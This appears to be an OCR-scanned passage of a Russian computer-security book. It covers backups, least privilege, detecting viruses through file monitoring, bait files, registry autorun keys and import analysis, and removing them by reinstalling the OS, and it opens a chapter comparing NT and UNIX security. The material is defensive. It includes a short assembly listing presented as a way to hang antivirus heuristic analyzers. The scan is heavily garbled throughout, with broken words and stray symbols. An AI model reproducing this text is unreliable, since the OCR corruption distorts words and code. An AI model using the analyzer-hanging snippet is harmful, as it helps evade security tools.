208 Глава 6. Превентивные нерЬ1 (вообще-то резервировать весь диск целиком нет никакой нужды — Достаточно записать лишь измененные за день файлы). Наличие резервной копии позво- ляет быстро «подняться» после любого сбоя, к минимуму сведя убытки от по- терянной информации (заметим, что хотя лазерные и DVD диски — не слищ- ком надежные носители информации, даже плохая резервная копия все-таки лучше, чем полное отсутствие таковой). СОВЕТ-------------------------------------------------------------------_ При перезаписи информации недопустимо затирать прежнюю копию — ведь нет ника- ких гарантий, что свежие версии файлов уже не заражены (и/или искажены) вирусом а раз так резервная копия теряет свой смысл, ведь она содержит те же самые искажен- ные/зараженные данные, что и на жестком диске! По меньшей мере, следует иметь две- три резервных копии, сделанные в различные моменты времени. Например, на один диск записывать информацию каждый день, на другой — раз в одну-две недели, ну а на третью — раз в месяц. Чем больше вы имеете копий, тем безболезненней окажется «от- кат» в случае вирусной атаки. Также следует учесть возможность появления вирусов, поддерживающих пе- резаписываемые диски и уничтожающих содержащиеся на них данных (или же, что более сложно, но технически все-таки осуществимо, — заражающие файлы непосредственно на CD-RW1). Следовательно, при восстановлении информа- ции с резервной копии никогда не вставляйте диск в пишущий привод — луч- ше воспользуйтесь обычным CD-ROM’om. ПЕРЕХОД НА ЗАЩИЩЕННЫЕ ОПЕРАЦИОННЫЕ СИСТЕМЫ Масштабы то и дело возникающих вирусных эпидемий не в последнюю оче- редь объясняются тем, что в офисах подавляющего большинства компаний и корпораций установлена изначально незащищенная Windows 98, представ- ляющая собой лакомую мишень для вирусов и хакеров. Да, конечно, Win- dows 2000/ХР стоит намного дороже, а ее достоинства (далеко не очевидные на первый взгляд) сводятся как раз к защищенности. Никаких других преиму- ществ у нее просто нет. Степень же защищенности — это как раз и есть то свойство, на котором многие предпочитают экономить. Действительно, пока гром не грянет, подавляющее большинство руководителей вообще не задумывается о безопасности. Зато по том, когда вирусная (хакерская) атака свершится, они приводят совершенно фантастические цифры о стоимости утерянных данных. Помилуйте! Если хотя бы 1 % от заявленной суммы был потрачен на грамотную защиту ваших компь ютеров, оставшиеся 99 % были бы сейчас с вами! 1 Совсем недавно я узнал, что такой вирус действительно есть. Он сканирует жесткий диск в п°1|С ках доступных ccd- или iso-образов и записывает свое тело поверх первого встретившегося с^У файла в корневой директории.
Уменьшение привилегий пользователей до минимума 209 Про необходимость резервного копирования уже было сказано выше (собствен- но эту необходимость никто и не оспаривает), а вот насчет целесообразности оСНаШения рабочих станций Windows 2000/ХР единого мнения даже среди специалистов по информационной безопасности нет, и достаточно многие из нпХ считают такую меру неоправданным расточительством. Так что окончатель- ное решение этого вопроса остается за вами. УМЕНЬШЕНИЕ ПРИВИЛЕГИЙ ПОЛЬЗОВАТЕЛЕЙ ДО МИНИМУМА Операционные системы семейства NT выгодно отличаются от Windows 98/Ме тем, что позволяют пресекать потенциально опасные действия пользователей и серьезно ограничивают полномочия запущенных этими пользователями при- ложений. В частности, запрет на модификацию исполняемых файлов делает распространение большинства вирусов просто невозможным! Правда, сетевые черви, вообще пе внедряющиеся ни в какие файлы и довольствующиеся лишь заражением оперативной памяти, выживут и в NT, но! — правильная политика разграничения доступа к файлам документов сведет последствия деструктив- ных действий вируса к минимуму. К сожалению, многие безалаберно относя- щиеся к собственной безопасности пользователи постоянно сидят в системе под «Администратором», а потом удивляются: почему же эта хваленая NT их не спасает? И даже те пользователи, что входят в систему с полномочиями «простых пользо- вателей» и без нужды никогда их не повышают, предпочитают не задумывать- ся о целесообразности запрета модификации тех файлов, которые в данный пе- риод времени им не нужны. Причем следует отметить уязвимость службы Run As, позволяющей запускать программы от имени других пользователей. На пер- вый взгляд никакой угрозы как будто бы нет — все запускаемые программы требуют явного ввода пароля, и вирусам «добраться» до них очень непросто. Увы... мне придется вас жестоко разочаровать. Во-первых, даже начинающему программисту ничего не стоит написать про- грамму, отслеживающую появление диалогового окна Запуск программы от име- ни другого пользователя и похищающую вводимый этим самым пользователем пароль. Во-вторых, коль скоро та или иная программа запущена, вирус сможет захва- тить над ней управление, просто эмулируя ввод с мыши и/или клавиатуры! Несмотря на то что пока таких вирусов все еще нет, никогда не позволяйте себе запускать более привилегированные программы из менее привилегированных. Унте, завершив текущий сеанс работы, войдите в систему под соответству- ющим пользователем снова. И — внимание! — работая под администратором, Ни в коем случае не запускайте те программы, которые могут быть модифици- рованы с привилегиями обычного пользователя!
210 r^6-nPggg!!2!BHb^b| СОКРАЩЕНИЕ ИЗБЫТОЧНОЙ ФУНКЦИОНАЛЬНОСТИ ПРОГРАММ «Мопструозность» современного программного обеспечения чрезвычайно трудняет его тестирование и практически не оставляет никаких надежд на явление всех дыр в разумные сроки. Причем большая часть функциональны возможностей того же Outlook’a явно избыточна и реально требуется лишь кр0 шечной доле пользователей. Вот, например, просмотр HTML-формата писец Спору нет — это удобно. Но вот необходимо ли? Без HTML-писем в нодавля ющем большинстве случаев можно и обойтись, а уж поддержка скриптов в пись- мах и подавно не нужна (разве что спаммерам банеры крутить). Создание собственного минимально функционального почтового клиента - далеко не такая сложная задача, какой кажется вначале. У меня, в частности, на это ушло всего два вечера, и, обращаясь к корпоративным пользователям, я хо- чу сказать: поверьте, стоимость разработки персонального почтового клиента пренебрежительно мала по сравнению с общими расходами, выделяемыми на обеспечение безопасности. Минимально функциональный почтовый клиент в действительности настолько прост, что имеется вполне реальная возможность реализовать его без дыр. А отсутствие дыр автоматически отсекает всех неявно запускающихся вирусов! Единственная серьезная проблема заключается в обработке HTML-ннсем. Ре- ализация собственного браузера — затея практически нереальная, а использо- вание готовых компонентов от Internet Explorer или Netscape Navigator с не- отвратимой неизбежностью наследует все их дыры, и ваш почтовый клиент окажется защищен ничуть не лучше того же Outlook Express! Однако кто ска- зал, что почтовый клиент должен содержать полноценный браузер? Поддержки десятка основных тегов для комфортного чтения писем вполне достаточно.
ГЛАВА 7 МЕТОДИКА ОБНАРУЖЕНИЯ И УДАЛЕНИЯ ВИРУСОВ, из которой читатель узнаёт, по каким тропам ходят вирусы, устанавливает на них капканы, залегает в засаде и терпеливо ждет Четкого определения термина « компьютерный вирус» не существует. Интуитивно понятно, что вирус — это такая зловредная программа, которая внедряет свой код в тела других программ, которые, в свою очередь, приобретают возможность заражать все остальные. Однако встречаются и абсолютно безвредные вирусы. Вместе с тем существуют и не размножающиеся, но не становящиеся от этого Менее опасными троянские программы, «специализирующиеся» на воровстве Ин- тернет-наролей, форматировании жестких дисков, установке систем удаленного администрирования и т. д. Таким образом, репродуктивные способности програм- мы никак не связаны с ее деструктивными возможностями. Если же считать ви- русами всех тех, кто умеет внедрять свои код в чужое тело, вирусом номер один окажется... сама операционная система! Разумеется, удаление операционной си- с,смы со своих компьютеров никак не входит в наши планы, и потому мы усло- вимся называть «вирусом» лишь те программы, которые мы явно не устанавли- вали и в чьем присутствии мы, по всей видимости, не нуждаемся. Многие вполне легальные бесплатные или условно-бесплатные программы скрыто инсталлируют модуль загрузки и показа рекламных баннеров, что, во- ПеРвых, действует нам на нервы, во-вторых, напрягает и без того тонкий канал в-третьих, чревато всякими конфликтами с прочими компонентами. Счита- *°т ли разработчики антивирусов эту гадость вирусом или нет, — нам-то какая
212 Глава 7. Методика обнаружения и удаления У- разница?! Весь вопрос в том: каким именно способом такие скрытно действ ющие программы можно обнаружить и удалить? Самый простой (по далеко не самый надежный) метод обнаружения вирусов Cgo дится к приобретению, установке и периодическому запуску одного или нескор ких антивирусов. Если не лениться и хотя бы эпизодически обновлять антивц русные базы, то (по моим наблюдениям) более 80 % всех вирусных атак буду-, успешно отбиты. Домашним пользователям, не имеющим на своих компьютерах ничего ценного, такая надежность может показаться вполне удовлетворитель- ной, но в отношении корпоративных пользователей это не так! Стоит ли гово- рить, что может натворить даже один-единственный вирус, пробравшийся в кор- поративную сеть и своевременно не разоблаченный? Тем более что компаниям (особенно крупным) приходится сталкиваться не только со слепыми, но и с це- ленаправленными атаками. Другими словами, с вирусами, написанными специ- ально для атаки на данную конкретную компанию и потому никакими антиви- русами не распознаваемыми (вот только не надо кричать про эвристический анализ — любой ребенок его без труда обойдет). Кстати, хотите позабавиться? Создайте файл следующего содержания и, откомпилировав его, натравите на него свой любимый антивирус на предмет выяснения: не зависнет ли (листинг 7.1)? Листинг 7.1. Код, «завешивающий» многие эвристические анализаторы .386 .model flat.STDCALL .code start: @xxx: jmp @xxx end start Антивирус Евгения Касперского 4.0, запущенный с настройками по умолчанию, «мертво» виснет! Это — хороший показатель дальновидности (то есть в дан- ном случае как раз недальновидности) разработчиков и уровня культуры чр°“ граммирования вообще. МОНИТОРИНГ ИЗМЕНЕНИЯ ФАЙЛОВ Внедрившись в систему, вирус начинает в ней размножаться и вот тут-то его можно и засечь, — достаточно лишь периодически контролировать целостность существующих файлов и отслеживать появление новых. Существует большое количество утилит, выполняющих такую операцию (на ум сразу же приходят Adlnfo от «Диалога Науки» и Disk Inspector от «Лаборатории Касперского»)- однако для решения поставленной задачи можно обойтись и штатными среД ствами, — достаточно запустить утилиту sfc.exe, входящую в комплект постав ки Windows 98/Ме и Windows 2000/ХР. Вирус, если он только не обладает двя' Вольской избирательностью, обязательно заразит большое количество системных файлов, и с каждым днем число жертв будет расти и расти! Вот бл»' годаря этому самому обстоятельству вируса и обнаружат, — если, конечно, он
йнтроль за обращениям к файлам 213 ^ным образом не скрывает своего присутствия в системе. Увы! Простушку ^с.ехе очень легко обмануть — что многие вирусы с успехом и делают. Тем не МЁнее степень достоверности результатов проверки весьма высока, и с помо- рю sfc.exe ловится подавляющее большинство вирусов, включая и тех, что в си- jv своей новизны еще не детектируются антивирусами AVP и Dr. Web. рззумеется, качество проверки уже упомянутых выше Adlnfo и Disk Inspector много выше, и обмануть их практически невозможно (во всяком случае, виру- сов, способных похвастаться этим до сих пор нет). Правда, некоторые вирусы, стремясь замаскировать свое присутствие, просто удаляют базы с информаци- ей о проверяемых файлах, но эффект от этой «хитрости» получается совершен- но обратный, — самим фактом такого удаления вирусы демаскируют свое при- сутствие! Какие конкретно файлы были заражены — это уже другой вопрос (если не можете ответить на него сами, -- поручите эту работу специалистам, главное только, чтобы вирус был вовремя обнаружен). Стоит отметить, что операционные системы класса NT (к которым принадле- жат и Windows 2000/ХР) запрещают обычным пользователям модифицировать системные файлы, равно как и вносить потенциально опасные изменения в кон- фигурацию системы, а потому выжить в такой среде вирусу окажется очень и очень трудно. С некоторой натяжкой можно даже сказать, что вообще невоз- можно. Как уже отмечалось выше, не стоит экономить на безопасности, ставя на рабочие места не NT, а более дешевую Windows 98/Ме. ОНТРОЛЬ ЗА ОБРАЩЕНИЯМ К ФАЙЛАМ Хорошим средством обнаружения вторжений (как вирусных, так и хакерских) служит щедро разбросанная приманка — файлы, к которым легальные пользо- ватели в силу своих потребностей не обращаются, но которые с высокой степе- нью вероятности будут заражены вирусом или затребованы хакером. В первом случае в роли наживки могут выступить любые исполняемые файлы вообще, а во втором — любые файлы с интригующими именами (например, «номера кредитных карточек менеджеров фирмы-doc»). Как обнаружить сам факт обращения к файлам? Ну, во-первых, операционная система автоматически отслеживает дату последнего обращения к документу (Не путать с датой его создания), узнать которую можно через пункт Свойства контекстного меню выбранного файла. Опытные пользователи могут получить ТУ же самую информацию через популярную оболочку FAR Manager — просто Нажмите Ctrl+5 для отображения полной информации о диске. И если дата по- следнего открытия файла вдруг неожиданно изменилась, — знайте, к вам при- шла беда и надо устраивать серьезные разборки с привлечением специалистов, если, конечно, вы пе можете справится с заразой собственными силами. Конеч- ti0, опытные хакеры и тщательно продуманные вирусы такую примитивную Меру могут обойти, но... практика показывает, что в подавляющем большинстве случаев они об этом забывают, ъ ® самых ответственных случаях можно воспользоваться файловым монитором *нарка Русиновича, свободно распространяемому через сервер http://www.sys-
214 Глава 7. Методика обнаружения и удаления вируСОв internals.com. Ни один существующий вирус не пройдет незамеченным мпмоЭТо^ замечательной утилиты, кстати, в упакованном виде занимающей чуть бо-1е(, полусотни килобайт и контролирующей доступ к диску на уровне дискового драйвера. К тому же она выгодно отличается тем, что сообщает имя програ&1. мы, обратившейся к файлу-приманке, тем самым позволяя точно дислоцир0. вать источник заразы и отсеять ложные срабатывания (ведь и сам пользователь мог по ошибке обратиться к «подсадному» файлу, также не следует забывать и об антивирусных сканерах, открывающих все файлы без разбора). Вычислить активного вируса с его помощью очень просто: если при открытии одного при- ложения происходит модификация исполняемых файлов другого приложения .значит, исходное приложение было заражено! (По правде говоря, теперь у вас заражены оба приложения.) Эффективность предложенной! методики автор готов подтвердить своим лич- ным опытом, авторитетом и репутацией. Пожалуй, это наилучшее из всех и притом бесплатное решение. (Заметим, что ручного анализа протоколов фай- лового монитора очень легко избежать, поручив эту работу' компьютеру и про- грамму, осуществляющую эту, за «спасибо» напишет даже студент.) КОНТРОЛЬ ЗА СОСТОЯНИЕМ СИСТЕМЫ Не все вирусы, однако, внедряют свой код в чужие исполняемые файлы. Спря- тавшись в дальнем уголке жесткого диска (как правило, это windows\system, со- держимое которой никто из пользователей не знает и не проверяет), они изме- няют конфигурацию системы так, чтобы получать управление при каждой загрузке (или, на худой конец, — эпизодически). При подозрении на вирус (троянскую лошадь) в первую очередь следует про- смотреть все закоулки системы, ответственные за автоматическую загрузку приложений, как-то: autoexec.bat/autoexec.nt, config.sys/config.nt, windows\system.ini, windows\win.ini, windows\winstart.bat, hkey_current_user\software\microsoft\win- dows\currentversion\run и hkey_localmachine\software\microsoft\windows\current- version\run (последние два — не файлы конфигурации, а ветви реестра, для ре- дактирования которых можно воспользоваться программой regedit.exe). Сравните содержимое этих ключей с содержимым ключей заведомо здорового компьютера той же самой конфигурации и, если обнаружите расхождения, - сотрите у себя все лишнее. Богатую информацию несет и количество оперативной памяти, выделенной на момент загрузки системы (узнать его можно, в частности, через Диспетчер за- дач). Просто запомните его (или запишите где-нибудь па бумажке), а затем " при каждой загрузке системы — сверяйте. И хотя теоретически возможно вне- дриться в систему без изменения объема выделенной памяти, встречаться с та- кими вирусами на практике мне до сих пор не доводилось. На всякий случай- запустив тот же Диспетчер задач, перейдите к вкладке Процессы, в меню Вид вы- берите Все столбцы и установите флажки напротив всех характеристик, которые вы хотите контролировать (как правило — это все характеристики процесса и есть), и далее поступайте аналогично: запомните начальное состояние каждог0
215 ^зполучеииых из сети файлов «скаемого процесса на заведомо «чистой» машине, а при всех очередных за- 33 ках — сверя йте с этим эталоном. Если не хотите делать это вручную — любой оГраммист с радостью напишет вам соответствующую утилиту, после чего не- четно проникнуть в вашу систему смогут только гении или боги. ненормальная сетевая активность Вирусы (и внедренные хакерами троянцы) чаще всего выдают себя тем, что проявляют ненормальную сетевую активность(обращение по нетипичным для данного пользователя сетевым адресам и/или портам, резко возросший трафик или подозрительное время). Начнем с того, что практически пи один вирус нс анализирует учетные записи распространенных почтовых клиентов и, стало быть, самостоятельно определить адрес вашего почтового сервера не может. Как же тогда черви ухитряются распространяться? Да очень просто: часть из них использует жестко прошитые внутри себя адреса бесплатных SMTP-серверов, другие же связываются с получателями писем напрямую, то есть обращаются непосредственно к их почтовому серверу. И то, и другое демаскирует вирус, исключая, конечно, тот случай, когда по иронии судьбы и вирус, и зараженная им жертва используют один и тот же сервер исходящей почты. Учитывая, что подавляющее большинство корпоративных пользователей использует свой соб- ственный сервер для рассылки почты, вероятностью случайного совпадения адресов можно пренебречь. Для протоколирования сетевоготрафика существует огромное множество раз- нообразных программ, самая доступная из которых (хотя и не самая лучшая) — netstat. входящая в штатный пакет поставки операционных систем Windows 98/ Me и Windows 2000/ХР. Также имеет смысл приобрести любой сканер портов (ищите его па хакерских сайтах или, на худой конец, воспользуйтесь все той же netstat) и периодически осматривайте все порты своего компьютера, — не открылись ли среди них но- вые. Некоторые сетевые черви устанавливают на заражаемые компьютеры ком- поненты для удаленного администрирования, которые чаще всего работают через TCP- и реже — через UDP-протоколы. Утилита netstat позволяет контро- лировать на предмет открытых портов и те, и другие. АНАЛИЗ полученных из сети файлов Подавляющее большинство почтовых червей распространяет свое тело через вожения, и, хотя существует принципиальная возможность создания вирусов, Целиком умещающихся в заголовке или основном теле письма, на практике с та- кими приходится сталкиваться крайне редко, да и живут они все больше в ла- °°раторных условиях. Таким образом, задача выявления почтовых червей сво- дится к анализу корреспонденции, содержащей подозрительные вложения. мы берем в руки исполняемый файл (часто переименованный в jpg или wav). Ц;'К узнать: какое у него назначение? Четкий ответ на этот вопрос дает лишь
216 Глава 7. Методика обнаружения и удаления вируГОр дизассемблирование, то есть перевод машинных кодов в ассемблерные мнеэд0. ники, и полная реконструкция всего алгоритма. Разумеется, дизассемблир0Ва. ние — необычайно трудоемкая и требовательная к квалификации администра. тора операция, но ведь можно поступить и проще! На помощь приходит утцдИТа DUMPBIN, входящая в штатный комплект поставки любого Windows — компи- лятора. Запускаем ее со следующими ключами: DUMPDIN /IMPORTS имя файла, и 110. лучаем полные сведения обо всех импортируемых данным файлом динамиче- ских библиотеках и API-функциях. Что делает каждая из них? Это можно прочитать в Platform SDK, взятом с того же самого компилятора. В частности, многие сетевые черви демаскируют себя тем, что импортируют библиотеку WS2_32.DLL, содержащую в себе реализации функций WINSOCKS. Конечно, эти функции используют не только вирусы, но и легальные программы, но в лю- бом случае анализ импорта позволяет установить приблизительную функцио- нальность программы. С другой стороны, отсутствие явного обращения к функ- циям WINSOCKS еще не гарантирует отсутствия обращения к ним вообще. Вирус вполне может вызывать их и динамически по ходу своего выполнения, и тогда соответствующих библиотек в списке импорта просто не окажется! Собствен- но, этого и следовало ожидать, — учитывая, что некоторые вирусы являются настоящей головоломкой даже для опытных профессионалов, надеяться выло- вить их такими примитивными средствами — было бы по меньшей мере наив- но. К счастью, такие «ужастики» в живой природе встречаются крайне редко, и подавляющее большинство вирусов пишется лицами, делающими в програм- мировании свои первые шаги, и предложенная автором методика их «творе- ния» очень даже обнаруживает! СИМПТОМЫ ЗАРАЖЕНИЯ ВИРУСОМ В подавляющем большинстве случаев заражение компьютера не проходит не- заметно, и опытный пользователь еще на ранних стадиях распространения за- разы начинает чувствовать, что с его системой что-то не так. Помните, как в том анекдоте: «Нутром чую, а доказать не могу»? Формальных признаков присут- ствия вируса может и не быть, но внезапно возникшему чувству дискомфорт3 (или неясной тревоги) все же стоит доверять. Чуть-чуть замедлилась скорость работы компьютера? Возросло время затру3' ки приложений? Тревожнее обычного заморгал своим красным огоньком жес- ткий диск? Все эти симптомы не фиксируются явно (в самом деле, время за- грузки приложений с точностью до десятых долей секунды никто из нас не замерял), по наше подсознание схватывает даже незначительные отклонения от нормы. Конечно, к делу ваши подозрения не пришьешь, но поводом для се- рьезной проверки «девственности» компьютера они все же служить могут. Более характерные симптомы присутствия вируса: уменьшение количества сво бодной оперативной памяти на момент завершения загрузки системы (в Windows NT/2000/XP эту информацию вам сообщит Диспетчер задач, вЫ' зываемый одновременным нажатием клавиш Ctrl +Alt+ Del); появление критиче ских ошибок приложений там, где до этого нх не было; наконец, вообще лю°ь,е
217 г.етппика удаления вирусов радикальные изменения в поведении компьютера, как правило, указывают на факт вирусного заражения. Держите глаза и уши открытыми! С другой сторо- ны, не стоит впадать в другую крайность и каждый сбой компьютера приписы- вать вирусу. Прежде чем делать какие бы то ни было выводы, убедитесь, что все ваше «железо» полностью исправно. Один из способов это сделать — достать из загашника ваш старый жесткий диск, оставшийся от предыдущего апгрейда, и подсоединить его к компьютеру. Если сбои исчезнут, то аппаратное обеспе- чение тут действительно ни при чем. Явные проявления вируса: появление издевательских сообщений, исчезнове- ние файлов, невозможность загрузки некоторых приложений или операцион- ной системы, полное уничтожение всей информации, наконец. МЕТОДИКА УДАЛЕНИЯ ВИРУСОВ или Огонь как средство борьбы с чумой таинства переустановки операционный системы Удаление вирусов из системы, вероятно, самая простая операция из всех, рас- смотренных выше. Жизнестойкость большинства вирусов крайне невелика и, как выражаются специалисты, порой приходится изрядно потрудиться, чтобы заставить подопытного вируса хоть как-то работать. Очень многие вирусы «мрут» еще на стадии их разработки и в состоянии функционировать лишь при чуткой помощи их непосредственного создателя. Сообщения о вирусах, якобы выдерживающих даже низкоуровневое форматирование диска, по сути своей совершенно безосновательны. Современные винчестеры просто не дадут отфор- матировать себя на низком уровне, — их контроллер не поддерживает таких функций! Утилиты тина HDD low-level format (встроенные, в частности, в неко- торые из BIOS) честно посылают жесткому диску команду 50й, что по ATAPI- стандарту означает приказ форматировать трек, но ни один известный автору жесткий диск не выполняет эту команду правильно. Обычно он просто забива- ет содержимое обрабатываемого трека нулями, лишь эмулируя форматирова- ние, но не выполняя его физически. А некоторые модели винчестеров никак не кодифицируют форматируемые треки вообще! Правда, таблицу разделов (MBR — Master Boot Record) они все-таки очищают, но если ее восстановить, с «отформатированного» на низком уровне диска можно будет преспокойно загружаться. «Настоящее» форматирование осуществляется лишь специальны- Мн утилитами, разработанными и распространяемыми непосредственно сами- ми Разработчиками диска, да и то их функциональность остается весьма сомни- тольной, — во всех известных мне случаях дело ограничивается лишь Новлением секторных меток, да и то с риском полностью вывести винчестер 3 строя в случае обнаружения какой либо несовместимости или аварийного РеРывания процесса форматирования из-за зависания процессора или вык- *°Чения питания. Тинная же причина загадочного воскрешения вирусов объясняется тем, что из копий вируса ухитрилась проникнуть на резервный накопитель и об-
218 Глава 7. Методика обнаружения и удаления разевала там устойчивый очаг заражения, проникающий на «стерилизован винчестер в процессе восстановления информации. Повторное форма11.11Ь|^* ние винчестера — неважно, «низкоуровневое» оно или нет, абсолютно ни Ва~ не ласт, ведь основной вирусный плацдарм расположен совсем в другом Лет десять-пятнадцать назад, во времена господства MS-DOS, когда объ жестких дисков измерялись в лучшем случае сотнями мегабайт, обцару^'1,1 большинство вирусов можно было и «визуально» — простым дизассембли Ь ванием всех исполняемых файлов и драйверов (естественно, для этого Tpefo валось знать ассемблер и архитектуру операционной системы). Теперь - Windows «разжирела» настолько, что проверить все места потенциального оби тания вирусов на предмет присутствия заразы стало просто нереальным. Д По тому при малейшем подозрении на вирус лучше всего начисто переустановить операционную систему и все сопутствующие ей приложения с дистрибутивных дисков. Несмотря па всю незамысловатость такой меры, она дает практически 100 %-пую гарантию удаления всех файловых и загрузочных вирусов и, в от- личие от форматирования диска, не требует предварительного резервирования всей имеющейся у вас информации. Попутно заметим, что использование ан- тивирусов дает значительно худший результат: как показывает практика, дале- ко не все «дети» полиморфных «родителей» обнаруживаются и корректно обез- вреживаются. Последствия же некорректного лечения могут носить самый разный характер: в лучшем случае после лечения операционная система будет работать нестабильно, в худшем же — недобитые копии вирусов продолжат свое размножение в системе! Поэтому в случае обнаружения вируса разумнее не доверять его лечение антивирусу, а тщательно «выжечь» всю систему, как наши предки выжигали чумные деревни и города. Одна из возможных стратегий рас- правы с вирусами выглядит так: 1. Если вы пользуетесь операционной системой Windows 95/98/Ме, просто загрузитесь с любого заведомо стерильного CD-диска или дискеты. Для это- го, возможно, вам придется изменить порядок загрузки в BIOS Setup — пер- вым загрузочным устройством должен быть не жесткий диск, а привод CD- ROM или флоп. Некоторые продвинутые материнские платы поддерживают меню динамического выбора загрузочного устройства, обычно вызываемое путем удерживания клавиши Esc во время прохождения процедуры POST. 2. Если вы пользуетесь операционной системой Windows NT/2000/XP п Ра ботаете под NTFS, вам потребуется вытащить жесткий диск из своего ком пьютера и подцепить его на заведомо стерильный компьютер с идентичн операционной системой, причем ваш диск должен быть «вторым». ДрУ1 |Е словами, необходимо добиться того, чтобы загрузка осуществлялась создо рового диска. Далее: 1) Скопируйте все ценные данные из папок Windows (WINNT) и Program Fil В частности, в папке \Windows\AII User хранятся профили всех гистрированпых пользователей, в папке \Windows\Application Data, и следует из ее названия, — данные Windows-приложений (почтовая i * Outlook Express, адресная книга и т. д.). Папка \Windows\Favorites что иное, как меню Избранное, отображаемое Internet Explorer’oM. 1 а^() нец, \Windows\Pa6o4HM стол хранит в себе все файлы и ярлыки с Рабо4 Стола. С содержимым папки Program Files вам придется разбираться
219 [Остоятельно, пос кольку оно зависит от конкретных установленных вами программ и дать общие рекомендации здесь просто невозможно. удалите папки Windows (WINNT) и Program Files, включая вложенные пап- кН а также все остальные папки, содержащие в себе исполняемые фай- ды ранее установленных приложений. Еще удалите файлы autoexec.bat config-sys из корневой директории. Эту операцию лучше всего осуще- ствлять с помощью Far Manager или Windows Commander, но только не Проводника Windows, поскольку последний при входе в папку автома- тически загружает профили папки, хранящиеся в файлах folder.htt и desktop.ini, а они могут содержать вирусы! Так что лучше удалите и их. 3) Верните жесткий диск назад в свой компьютер и переустановите опера- ционную систему, загрузившись с загрузочного CD или дискеты. Пере- установите все остальные приложения, которые были удалены. 4) Восстановите данные приложений, сохраненные из папок Windows (WINNT) и Program Files, па их законное место. 5) Все! Теперь можете спокойно работать! Очень хороню зарекомендовала себя следующая методика: после установки операционной системы н всех сопутствующих ей приложений просто скопи- руйте содержимое диска на резервный носитель и затем, — когда будет зафик- сирован факт вторжения в систему (вирусного или хакерского — неважно), — просто восстановите все файлы с резервной копии обратно. Главное преиму- щество данного способа — его быстрота и непривередливость к квалификации администратора (или, в общем случае, лица, осуществляющего удаление виру- сов). Конечно, следует помнить о том, что: • достаточно многие программы, тот же Outlook Express, например, сохраня- ют свои данные в одном из подкаталогов папки Windows, и если почтовую базу не зарезервировать отдельно, то после восстановления системы она просто исчезнет, что не есть хорошо; • некоторые вирусы внедряются не только в файлы, но также и в boot- и/или MBR-сектора. и для удаления их оттуда одной лишь перезаписи файлов не- достаточно; • вирус может перехватить системные вызовы и отслеживать попытки заме- щения исполняемых файлов, имитируя свою перезапись, но не выполняя ее в Действительности. Ес (1 Тественно, в случае заражения известными вирусами можно прибегнуть к Помощи антивирусов, однако существует весьма высокая вероятность столк- ,1и?Ся с некорректным удалением вируса из файлов, в результате чего система ° полностью теряет свою работоспособность, либо вирус остается недоле- cQxlHyM 11 «выживает» и зачастую после этого уже не детектируется антивиру- К ‘ лучше просто удалить зараженный файл, восстановив его с резервной Конечно, это не гарантирует того, что в системе не осталось компонен- ^«Wo внедренных вирусом, однако такие компоненты (если они вообще 3k) М”ГуТ бЬ1ТЬ обнаружены по одной из описанных выше методик. Правда, Гр 3^С(<'Ует определенного времени, и не факт, что оно окажется меныпим, чем еоуется для полной переустановки операционной системы.
ЧАСТЬ IV ОПЕРАЦИОННЫЕ СИСТЕМЫ Глава 8 ФИЛОСОФИЯ И АРХИТЕКТУРА NT ПРОТИВ UNIX СТОЧКИ ЗРЕНИЯ БЕЗОПАСНОСТИ, в которой автор сначала доказывает, что ничто не может быть хорошим или плохим само по себе, а потом оказывается под перекрестным огнем помидоров, летящих со всех сторон Глава 9 КРАСНАЯ ШАПОЧКА, АГРЕССИВНЫЙ ПИНГВИН, ПРОНЫРЛИВЫЙ ЧЕРТЕНОК И ВСЕ-ВСЕ-ВСЕ... из которой выясняется, что Windows не такая уж и плохая система
Степень защищенности вашего компьютера во многом зависит от совершенства установленной на нем операционной системы. Несколько утрируя, можно ска- зать, что максимально достижимая защищенность узла никогда не превосходит степени защищенности самой ОС (разумеется, при условии, что узел не оснащен никакими внешними защитами, такими, например, как брандмаузер). Представляется логичным протестировать несколько популярных систем, ото- брать из них наиболее защищенную и... Тут-то и выясняется, что: • такого тестирования еще никто не проводил, во всяком случае материал, найденный по этой теме в Сети, носит субъективный и поверхностный ха- рактер, сильно завязанный на непринципиальных недостатках конкретных реализаций ОС, большая часть из которых давным-давно исправлена оче- редной заплатой; • если семейство NT представлено всего тремя операционными системами: са- мой NT, Windows 2000 и Windows ХР с практически идентичными архитек- турами, то пестрота UNIX-подобных систем вообще не поддается описанию; • очень трудно выбрать адекватные критерии защищенности: количество за- фиксированных взломов данной ОС — это не совсем тот показатель, который нам нужен: во-первых, точной статистики ни у кого нет и не может быть в принципе (по настоящему успешные взломы, как правило, не регистриру- ются), а, во-вторых, статистика такого рода отражает не защищенность, а рас- пространенность тех или иных систем и в значительной степени искажена преобладающим интересом хакеров (попросту говоря, модой). Такой крите- рий, как количество обнаруженных дыр сам по себе еще ни о чем не говорит (уже хотя бы по указанным выше причинам). Поэтому мы решили абстрагироваться от особенностей конкретных реализа- ций и сравнить потенциальную концептуальную уязвимость операционных систем семейств NT и UNIX. Что такое «потенциальная уязвимость»? Это та- коесвойство архитекторы системы, которое при определенных обстоятельствах стой или иной вероятностью может привести к снижению степени ее защи- щенности. В частности, сложность считается одной из потенциальных концеп- туальных уязвимостей и при прочих равных условиях менее сложная система объявляется более защищенной и, соответственно, наоборот. Конечно, помимо сложности (уровень которой измеряется не объемом программного кода, а ко- личеством взаимосвязей между отдельными компонентами программы), боль- щУю роль играет профессионализм разработчиков, качество тестирования 11 т- Д. Однако поскольку все эти факторы практически не поддаются объектив- ному учету (только не надо говорить, что LINUX тестируют миллионы людей По всему миру, — знаем-знаем мы, как они ее тестируют), лучше их вообще не Учитывать, чем учитывать неправильно. ». ак»е мы будет рассматривать лишь концептуальные уязвимости — то есть Такие, которые настолько глубоко зарыты в системе, что без серьезного хирур- ГиЧеского вмешательства в архитектуру ядра их не удалить. (Да и не получим “1Я мы после такой операции совершенно другую операционную систему?)
